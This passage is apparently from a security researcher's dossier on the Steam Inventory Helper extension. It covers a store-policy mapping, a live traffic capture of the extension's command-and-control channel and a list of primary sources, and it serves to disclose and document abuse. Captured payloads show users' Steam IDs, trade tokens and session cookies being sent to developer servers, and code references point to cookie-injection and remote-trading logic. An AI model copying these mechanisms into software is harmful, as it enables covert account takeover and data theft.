storage security is unknown and unauditable; combined with auto-confirm this is a full account-takeover path.\n3. **Cookie-header injection machinery**: dynamic DNR `modifyHeaders` rules (runtime-created, `rules.json` empty at review time) can set any cookie value on any request the worker makes — a general-purpose session-impersonation primitive.\n4. **Un-auditable remote behavior**: 4 obfuscated event names + server-pushed toggles mean the reviewed code does not equal the deployed behavior; Google's review cannot statically enumerate the command surface.\n\n---\n\n# 9. GOOGLE POLICY MAPPING (Chrome Web Store)\n\n| Policy | Violated? | Mapping |\n|---|---|---|\n| **User Data Privacy** — limited use, disclosure, secure handling | **YES** | R3, R7: authentication secrets and full economic profiles leave the browser without prominent disclosure; \"description\" claims only \"prices, item details, trade status\" |\n| **Permissions — minimum scope** | **YES** | `<all_urls>` + `cookies` + `webRequest` + `declarativeNetRequestFeedback` + `management` for a \"price helper\"; DNR header-injection machinery at runtime |\n| **Single Purpose** | **YES** | price helper + authenticator + trade bot + C2 agent + gambling + ads in one package |\n| **Deceptive / Misleading functionality** | **YES** | hidden C2 agent with obfuscated commands; undisclosed remote task execution on the user's account |\n| **Ads policy** (clear labeling) | **YES** | injected sponsored banners/links in Steam UI incl. an HTTP hardcoded-IP banner targeted at RU users |\n| **Malware-like behavior / remote code control** | **RISK — strongest case** | an always-on C2 socket that can operate the user's account and whose command vocabulary is partially obfuscated is, functionally, a remotely-controlled execution agent on every client |\n\n---\n\n# 10. LIVE CAPTURE (2026-10-11) — C2 observed in real time\n\nSetup: Brave (isolated profile) + unpacked SIH from this package + mitmproxy (venv), test Steam account `TEST-STEAMID` (\"test\"/profile `test-profile`), all flows in `evidence/flows.mitm`, extracted subset `evidence/c2_live_capture.json`.\n\n**10.1 Node registration on the C2.** On extension start the service worker opens `wss://wss-new.steaminventoryhelper.com` and transmits:\n\n```json\n{\"event\":\"connect\",\"data\":{\"steamId\":\"TEST-STEAMID\",\"name\":\"test\",\"avatar\":\"https://avatars.fastly.steamstatic.com/…\",\"token\":\"<redacted trade token>\",\"client\":\"sih-extension\",\"clientVersion\":\"2.11.12\",\"capabilities\":[\"trader_tool.steam.get_market_history\",\"trader_tool.steam.get_my_listings\",\"trader_tool.steam.get_price_overview\",\"trader_tool.steam.get_price_overviews\",\"trader_tool.steam.get_wallet_currency\",\"trader_tool.steam.remove_listing\",\"trader_tool.steam.remove_listings\",\"trader_tool.steam.sell_item\",\"trader_tool.steam.sell_items\"]}}\n```\n\ni.e. every node hands the server its **Steam ID, profile name, avatar and trade-link token**, and advertises exactly which remote tasks it can execute. The obfuscated event `vYPRqkhY88H91uTxrcm` is an agent registration exchange (server replies `<redacted agent token>` — node token); `permissionsget` returns `{\"trading\":{}}`; heartbeat `{\"name\":\"ping\"}` every 25 s.\n\n**10.2 Live control channel.** `GET core.steaminventoryhelper.com/sih/ping` (header `x-sih-token`) returns right now:\n\n```json\n{\"success\":true,\"message\":\"pong\",\"ids\":[],\"timer\":{\"min\":6,\"max\":10},\"controller\":true,\"controllerIds\":[0,1,2,3,4,5,6,7,8,9],\"itemPayIds\":[0,1,2,3,4,5,6,7,8,9],\"isAvailableWebApi\":true}\n```\n\n`controller:true` with all steamId digits enabled — **the whole fleet is switched ON at the moment of capture**; `timer` remotely sets the inventory-parsing cadence.\n\n**10.3 Live scraping upload.** Browsing a single market listing made the client POST `https://items.steaminventoryhelper.com/prices/v2/update` with `{\"items\":[{app_id, hash_name, prices, buy_price, orders, updatedAt}], \"steamId\":\"TEST-STEAMID\"}` — observed items are attributed to the user's steamId; the server answers `{\"data\":{\"delay\":1}}` — **it remotely controls the upload cadence per node**.\n\n**10.4 Live ad targeting.** `POST ads.steaminventoryhelper.com/api/v1/adapi/<slot>/find-all` carries `{\"f\":{\"country\":\"RU\",\"language\":\"ENGLISH\"}}` (taken from the Steam account's store country, not the IP); the RU feed returned skinrave.gg (`r=sih`) on the `marketSponsorBanner`/`marketLeftSideBanner` slots and the 10-campaign sponsor feed on `marketSponsor`.\n\n**10.5 Server-side profile store.** `GET /sih/user` returns the SIH account with `socials:[[\"steam\",\"TEST-STEAMID\",\"<username>\",\"<redacted trade token>\"]]` — **the user's trade-link token is persisted server-side**, alongside `country`, `apiKeyInfo.isAllowedByAdmin` (admin gating) and balance.\n\n**10.6 C2 anti-probing.** Direct WS upgrade from a non-browser client (Node/undici TLS fingerprint) → **HTTP 403 at handshake** (`evidence/ws_c2_handshake.log`). The C2 only talks to genuine in-Chrome extension contexts — i.e. it is deliberately observable-resistant from the outside, which is why §10 matters.\n\n**10.7 Silent Steam session linking (session used for developer's purposes).** Right after the Steam login, the extension context (`Origin: chrome-extension://…`) POSTed `steamcommunity.com/openid/login` with `action=steam_openid_login` and the **full live cookie set including `steamLoginSecure`** (the session JWT). `openid.return_to = https://core.inventorymaker.com/sih/return` — Steam 302-redirected the signed identity straight to SIH's OAuth backend, silently linking/creating the SIH account (`kirillovavioletta1`…). No Steam consent screen and no user action: the extension consumed the user's authenticated session to authenticate itself with its own backend. (`evidence/session_audit.json`, openid flow in `evidence/flows.mitm`.)\n\n**10.8 What the session carried home (telemetry).** Every page view was reported to `stats.steaminventoryhelper.com/event-register` with steamId, country, language, the page path (`steamcommunity/market`, `/inventory`, `/tradeoffers`…), which ad was shown, and a persistent `uid`; profile telemetry sent nickname/level/steamId/profile link (`profile-page-events`). Prices observed on viewed pages were uploaded keyed to the user's steamId (`prices/v2/update`, server replies a per-node `delay`). Three WSS C2 connections were opened during a ~1-hour session.\n\n---\n\n# 11. APPENDIX — REPRODUCIBILITY\n\n```bash\nnpx webcrack bundle/js/background.js        -o bg   # 120 webpack modules\nnpx webcrack bundleAngular/backgroundAngular.js -o ang\nnpx webcrack js/siteExt/global.bundle.js    -o global\n```\nKey line references (webcrack output, main module `922.js`):\n- C2 bootstrap 80905–80951; agent class 30219–30260; event names 30871–30902\n- task dispatcher 74793–74803; remove-listing task 71398–71425; jsonsend 57996–58085\n- tradesend handler 80728–80778; ping/control 25960–26029; steamId-bucket gate 161250–161264\n- buy loop 127030–127218; /sih/buy 27465–27517; maFiles sync 99620–99679\n- DNR rule engine 13161–13324; cookie-header injection 124863–124912\n- Sentry extras 24063–24108; price upload 135670–135719\n\n*All findings are static-analysis facts of the audited build; the \"abuse not evidenced\" qualifiers are kept deliberately to keep the report defensible.*\n\nOBSERVATION SCOPE\n\nPhishDestroy’s supplied screenshots show the extension in a logged-out Steam browser interface; no Steam account was used for that observation. The code review was static; the follow-up live capture of 11 October 2026 ran the unpacked package in an isolated browser profile with a test account behind mitmproxy — its record is shown in the Live capture section and retained as evidence. The static audit and the supplied test-account capture are separate records. Visible integration, executable client paths and observed server behavior are recorded separately.\n\nPRIMARY RECORDS / DATED ATTRIBUTION\nFollow the record.\n\nFirst-party statements, regulator and court documents, public distribution packages, and specifically identified historical reproductions. Policy pages and store listings are dated snapshots.\n\nP01Valve’s response to the Washington State Gambling Commission ↗\n\nLetter dated 17 October 2016; publicly reproduced primary document. Account closures, notices and the OpenID explanation.\n\nP02Valve: In-Game Item Trading Update ↗\n\n13 July 2016. Valve’s own account of automated commercial use and its agreements.\n\nP03The July 2016 notice naming CSGOFast ↗\n\n20 July 2016. Contemporary reporting reproducing the notice; historical secondary source.\n\nP04CSGOFast’s reported shutdown announcement ↗\n\n27 July 2016 report of a planned 29 July closure and stopped bots; contemporary reproduction of the operator’s statement.\n\nP05Kansspelautoriteit: Gamusoft LP ↗\n\nDutch regulator; published 17 April 2025. Final order, continued violations and accrued penalties.\n\nP06Ksa’s underlying Gamusoft order ↗\n\n2 April 2025. Steam login, Dutch test access, bitcoin funding, F balance, Double and withdrawal route.\n\nP07Steam Inventory Helper — Chrome Web Store ↗\n\nSnapshot 11 October 2026 UTC: 1,000,000 users; 17.9K ratings; version 2.12.1; RedBoon Limited; Non-trader declaration.\n\nP08SIH extension terms of service ↗\n\nReviewed 11 October 2026 UTC. Extension scope, gambling-related wording, advertising, incorporated product terms and identity verification.\n\nP09SIH privacy policy ↗\n\nPage updated 28 August 2026; reviewed 11 October. RedBoon Limited, data handling and contextual promotions.\n\nP10CSGOFast’s SIH connection and permission flow ↗\n\nExisting pinned code record CF01–CF03: extension installation, connection state, permission requests and server-side status checks.\n\nP11CSGOFast responsible-play policy ↗\n\nPolicy §8.1 and related claims. The dated policy snapshot is retained with the earlier AML investigation.\n\nP12Official Google extension update service ↗\n\n2.12.1 acquired 11 October 2026, 03:32:42 UTC. Full CRX hash and signatures are recorded below; a later request may return another version.\n\nP13SIH Mobile: publisher announcement ↗\n\n2 August 2026. Multiple accounts, import, automatic confirmations and the mobile product’s local-key claim.\n\nP14Steam Inventory Helper: What’s new ↗\n\n22 November 2024. Cloud-data deletion and marketplace integrations; a product update, not an acquisition record.\n\nP15New York v. Valve Corporation — complaint ↗\n\nFiled allegations, paragraphs 90–99: OPSkins, CSGOSell, CSFloat and Skinport access decisions. Selective account restoration by Valve, as alleged; the decision logs sit in Valve’s possession.\n\nP16Steam Subscriber Agreement ↗\n\nReviewed 11 October 2026. Account access, commercial use, modification and automation terms.\n\nP17Steam Online Conduct ↗\n\nReviewed 11 October 2026. Advertising, gambling and prohibited commercial activity.\n\nP18Chrome Web Store: advertisements ↗\n\nOfficial Google requirements for advertising disclosure, attribution, interference and host-content impersonation.\n\nP19Chrome Web Store: spam and abuse ↗\n\nOfficial Google policy on incentivized ratings, reviews and installation manipulation.\n\nP20SIH developer: sponsorship proposal ↗\n\n23 December 2015. First-party announcement identifying the CSGOFast sponsorship proposal.\n\nP21SIH developer: sponsorship and version 1.8.3 ↗\n\n31 December 2015. Sponsorship, a banner in trade offers and CSGOFast price data.\n\nP22SIH developer: ownership change ↗\n\n16 May 2016. First-party notice that an individual bought the extension.\n\nP23Contemporary reproduction of the ownership announcement ↗\n\nHistorical discussion preserves a CSGOFast-branded Steam alias. It does not identify the current legal beneficial owner.\n\nP24CSGOFast current terms and named entities ↗\n\nCurrent footer snapshot names Lumigrid OÜ and Payplaysoft Limited; the dated contracts connecting them to Gamusoft LP and RedBoon Limited are records the operators hold and should publish.\n\nP25SIH developer: Steam request limits ↗\n\n11 November 2015. First-party announcement by the original developer, VplGhost, on request limits, HTTP 429 responses, queued price requests and a move toward outside price providers.",
        "headings": [
          {
            "level": 1,
            "text": "A casino’s business. Inside Steam.",
            "anchor": "pd-csgofast-sih--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#overview"
          },
          {
            "level": 2,
            "text": "The notice named CSGOFast. The business is inside Steam.",
            "anchor": "pd-csgofast-sih--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#promise"
          },
          {
            "level": 3,
            "text": "Commercial use of Steam accounts.",
            "anchor": "pd-csgofast-sih--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#promise"
          },
          {
            "level": 3,
            "text": "The customer supplies the session.",
            "anchor": "pd-csgofast-sih--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#promise"
          },
          {
            "level": 2,
            "text": "Steam’s address. Someone else’s storefront.",
            "anchor": "pd-csgofast-sih--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#screens"
          },
          {
            "level": 3,
            "text": "Casino banners above Steam. A competing market below.",
            "anchor": "pd-csgofast-sih--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#exhibit-market"
          },
          {
            "level": 3,
            "text": "Steam’s prices become the sales comparison.",
            "anchor": "pd-csgofast-sih--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#exhibit-games"
          },
          {
            "level": 3,
            "text": "The inserted advertising also creates a paid removal offer.",
            "anchor": "pd-csgofast-sih--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#exhibit-subscription"
          },
          {
            "level": 3,
            "text": "Skins priced in dollars. “Buy” buttons inside Steam.",
            "anchor": "pd-csgofast-sih--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#exhibit-items"
          },
          {
            "level": 3,
            "text": "Casino promotion reaches the sign-in page.",
            "anchor": "pd-csgofast-sih--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#exhibit-signin"
          },
          {
            "level": 3,
            "text": "Your page. Their business.",
            "anchor": "pd-csgofast-sih--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#commercial-system"
          },
          {
            "level": 2,
            "text": "The server can assign work to the user’s Steam session.",
            "anchor": "pd-csgofast-sih--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control"
          },
          {
            "level": 3,
            "text": "SIH’s servers",
            "anchor": "pd-csgofast-sih--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control-model"
          },
          {
            "level": 3,
            "text": "User browsers",
            "anchor": "pd-csgofast-sih--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control-model"
          },
          {
            "level": 3,
            "text": "Steam endpoints",
            "anchor": "pd-csgofast-sih--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control-model"
          },
          {
            "level": 3,
            "text": "A user’s client becomes a market-data worker.",
            "anchor": "pd-csgofast-sih--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#model-read"
          },
          {
            "level": 3,
            "text": "The command surface goes beyond showing a price.",
            "anchor": "pd-csgofast-sih--heading-17",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#model-trade"
          },
          {
            "level": 3,
            "text": "The operator controls which eligible clients do the work.",
            "anchor": "pd-csgofast-sih--heading-18",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#model-gate"
          },
          {
            "level": 3,
            "text": "Reading the market. Changing the account.",
            "anchor": "pd-csgofast-sih--heading-19",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#command-inventory"
          },
          {
            "level": 3,
            "text": "A remotely tasked network of enabled clients.",
            "anchor": "pd-csgofast-sih--heading-20",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control"
          },
          {
            "level": 3,
            "text": "The Layer-7 DDoS capability is present.",
            "anchor": "pd-csgofast-sih--heading-21",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control"
          },
          {
            "level": 3,
            "text": "Active fleet size, full-Steam coverage and attack traffic.",
            "anchor": "pd-csgofast-sih--heading-22",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#control"
          },
          {
            "level": 3,
            "text": "Seven claims. Six proven.",
            "anchor": "pd-csgofast-sih--heading-23",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "A persistent C2 channel to developer servers.",
            "anchor": "pd-csgofast-sih--heading-24",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "Server-pushed market scraping runs through the user’s authenticated session.",
            "anchor": "pd-csgofast-sih--heading-25",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "The server can remotely operate the account.",
            "anchor": "pd-csgofast-sih--heading-26",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "Fleet enable, disable and restart per user bucket.",
            "anchor": "pd-csgofast-sih--heading-27",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "Requests run from residential IPs with the user’s cookies.",
            "anchor": "pd-csgofast-sih--heading-28",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "The install base functions as a distributed scraping grid.",
            "anchor": "pd-csgofast-sih--heading-29",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "Layer-7 DDoS repurposing.",
            "anchor": "pd-csgofast-sih--heading-30",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#audit-verdicts"
          },
          {
            "level": 3,
            "text": "The C2 observed in real time.",
            "anchor": "pd-csgofast-sih--heading-31",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "Every node registers itself with the user’s identity.",
            "anchor": "pd-csgofast-sih--heading-32",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "The fleet is switched on.",
            "anchor": "pd-csgofast-sih--heading-33",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "Scraping uploads run and the server sets the pace.",
            "anchor": "pd-csgofast-sih--heading-34",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "The user’s Steam session was consumed silently.",
            "anchor": "pd-csgofast-sih--heading-35",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "The C2 resists outside observation.",
            "anchor": "pd-csgofast-sih--heading-36",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#runtime-capture"
          },
          {
            "level": 3,
            "text": "The market agent spends the user’s balance.",
            "anchor": "pd-csgofast-sih--heading-37",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#autonomous-buy"
          },
          {
            "level": 4,
            "text": "Top item, taken locally",
            "anchor": "pd-csgofast-sih--heading-38",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#autonomous-buy"
          },
          {
            "level": 4,
            "text": "POST /sih/buy",
            "anchor": "pd-csgofast-sih--heading-39",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#autonomous-buy"
          },
          {
            "level": 4,
            "text": "Ten retries. Ten minutes.",
            "anchor": "pd-csgofast-sih--heading-40",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#autonomous-buy"
          },
          {
            "level": 2,
            "text": "Steam Guard records leave the user’s device.",
            "anchor": "pd-csgofast-sih--heading-41",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#authenticator"
          },
          {
            "level": 3,
            "text": "Authenticator records cross into SIH’s cloud.",
            "anchor": "pd-csgofast-sih--heading-42",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#authenticator"
          },
          {
            "level": 3,
            "text": "The mobile product promises local keys.",
            "anchor": "pd-csgofast-sih--heading-43",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#authenticator"
          },
          {
            "level": 3,
            "text": "Even the balance top-up becomes an outside sales route.",
            "anchor": "pd-csgofast-sih--heading-44",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#russian-topups"
          },
          {
            "level": 4,
            "text": "Add funds",
            "anchor": "pd-csgofast-sih--heading-45",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#russian-topups"
          },
          {
            "level": 4,
            "text": "Russian page language",
            "anchor": "pd-csgofast-sih--heading-46",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#russian-topups"
          },
          {
            "level": 4,
            "text": "A third-party payment offer",
            "anchor": "pd-csgofast-sih--heading-47",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#russian-topups"
          },
          {
            "level": 3,
            "text": "The user brings the account. SIH receives the records.",
            "anchor": "pd-csgofast-sih--heading-48",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-leaves-browser"
          },
          {
            "level": 4,
            "text": "Prices, orders and purchase history.",
            "anchor": "pd-csgofast-sih--heading-49",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-leaves-browser"
          },
          {
            "level": 4,
            "text": "Steam and SIH profile context.",
            "anchor": "pd-csgofast-sih--heading-50",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-leaves-browser"
          },
          {
            "level": 4,
            "text": "maFiles and the account manifest.",
            "anchor": "pd-csgofast-sih--heading-51",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-leaves-browser"
          },
          {
            "level": 4,
            "text": "A token returned to the requester.",
            "anchor": "pd-csgofast-sih--heading-52",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-leaves-browser"
          },
          {
            "level": 2,
            "text": "The extension has a business on both sides of the interface.",
            "anchor": "pd-csgofast-sih--heading-53",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#data-and-ads"
          },
          {
            "level": 3,
            "text": "Yes on five policies. The strongest case: malware-like behavior.",
            "anchor": "pd-csgofast-sih--heading-54",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#store-policy-record"
          },
          {
            "level": 3,
            "text": "Google must answer for approving this system.",
            "anchor": "pd-csgofast-sih--heading-55",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#store-policy-record"
          },
          {
            "level": 3,
            "text": "Per-geo ad switching, captured on 11 October.",
            "anchor": "pd-csgofast-sih--heading-56",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#live-ad-probe"
          },
          {
            "level": 3,
            "text": "Four of five ad slots serve a gambling affiliate campaign.",
            "anchor": "pd-csgofast-sih--heading-57",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#live-ad-probe"
          },
          {
            "level": 3,
            "text": "The CSGOFast referral still redirects.",
            "anchor": "pd-csgofast-sih--heading-58",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#live-ad-probe"
          },
          {
            "level": 2,
            "text": "The “non-casino” takes bitcoin. The regulator records illegal gambling.",
            "anchor": "pd-csgofast-sih--heading-59",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#non-casino"
          },
          {
            "level": 3,
            "text": "Information, advertising and “no gambling”.",
            "anchor": "pd-csgofast-sih--heading-60",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#non-casino"
          },
          {
            "level": 3,
            "text": "Steam login. Bitcoin. A game of chance.",
            "anchor": "pd-csgofast-sih--heading-61",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#non-casino"
          },
          {
            "level": 3,
            "text": "The trade window is tagged as CSGOFast inventory.",
            "anchor": "pd-csgofast-sih--heading-62",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 3,
            "text": "The “advertising/information service” is wired to a gambling-banner endpoint.",
            "anchor": "pd-csgofast-sih--heading-63",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 3,
            "text": "The penalty schedule the operator outlasted.",
            "anchor": "pd-csgofast-sih--heading-64",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 3,
            "text": "The account route was the working front door.",
            "anchor": "pd-csgofast-sih--heading-65",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 3,
            "text": "The names behind the front doors.",
            "anchor": "pd-csgofast-sih--heading-66",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 3,
            "text": "The operator’s code and the casino’s frontend point at each other.",
            "anchor": "pd-csgofast-sih--heading-67",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#casino-wiring"
          },
          {
            "level": 2,
            "text": "From a sponsor’s banner to a Steam operating layer.",
            "anchor": "pd-csgofast-sih--heading-68",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "The scraping business is as old as the announcements.",
            "anchor": "pd-csgofast-sih--heading-69",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "CSGOFast sponsorship becomes explicit.",
            "anchor": "pd-csgofast-sih--heading-70",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "SIH announces a new owner.",
            "anchor": "pd-csgofast-sih--heading-71",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "Valve issues notices and reports account closures.",
            "anchor": "pd-csgofast-sih--heading-72",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "The product already discusses authenticator cloud data.",
            "anchor": "pd-csgofast-sih--heading-73",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "A regulator documents the operating gambling service.",
            "anchor": "pd-csgofast-sih--heading-74",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 3,
            "text": "The integration and the client are inspectable.",
            "anchor": "pd-csgofast-sih--heading-75",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#history"
          },
          {
            "level": 2,
            "text": "Publish the enforcement decisions, not just a ban total.",
            "anchor": "pd-csgofast-sih--heading-76",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#enforcement"
          },
          {
            "level": 2,
            "text": "A verified publisher. A casino’s Steam integration.",
            "anchor": "pd-csgofast-sih--heading-77",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#publisher-badge"
          },
          {
            "level": 3,
            "text": "The badge sits beside the install button.",
            "anchor": "pd-csgofast-sih--heading-78",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#publisher-badge"
          },
          {
            "level": 3,
            "text": "The history reaches back before Valve’s notice.",
            "anchor": "pd-csgofast-sih--heading-79",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#publisher-badge"
          },
          {
            "level": 2,
            "text": "Recruiting users. Operating through their accounts.",
            "anchor": "pd-csgofast-sih--heading-80",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#open-leads"
          },
          {
            "level": 3,
            "text": "Review incentives manufacture the public trust used to recruit users.",
            "anchor": "pd-csgofast-sih--heading-81",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#review-incentives"
          },
          {
            "level": 3,
            "text": "Who obtained an exception, through whom, and for what?",
            "anchor": "pd-csgofast-sih--heading-82",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#relationship-lead"
          },
          {
            "level": 3,
            "text": "The Valve question already has documentary substance.",
            "anchor": "pd-csgofast-sih--heading-83",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#open-leads"
          },
          {
            "level": 2,
            "text": "Technical appendix. Open the proof when needed.",
            "anchor": "pd-csgofast-sih--heading-84",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#code-record"
          },
          {
            "level": 2,
            "text": "Follow the record.",
            "anchor": "pd-csgofast-sih--heading-85",
            "source_url": "https://phishdestroy.io/steam_dossier/csgofast-sih#sources"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/csgofast-sih"
          },
          {
            "label": "Original 11 October edition · complete text →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#overview"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#promise"
          },
          {
            "label": "Open the original exhibit at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/steam-market.png"
          },
          {
            "label": "Open the original exhibit at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/game-store.png"
          },
          {
            "label": "Open the original exhibit at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/subscription.png"
          },
          {
            "label": "Open the original exhibit at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/item-prices.png"
          },
          {
            "label": "Open the original exhibit at full size ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/steam-signin.png"
          },
          {
            "label": "06 / RECRUITMENTA prize entrybuys review activity.Rating, comment, proof link: the contest turns reputation into an acquisition tool.Read the review manipulation case ↗",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "[CAPTURE RECORD]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/c2_live_capture.json"
          },
          {
            "label": "[HANDSHAKE LOG]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ws_c2_handshake.txt"
          },
          {
            "label": "[SESSION AUDIT]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/session_audit.json"
          },
          {
            "label": "[CAPTURE RECORD]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/c2_live_capture.json"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#control"
          },
          {
            "label": "The wider Russia-facing payment record ↗",
            "url": "https://phishdestroy.io/steam_dossier/money-and-enforcement.html#regional-funding"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#authenticator"
          },
          {
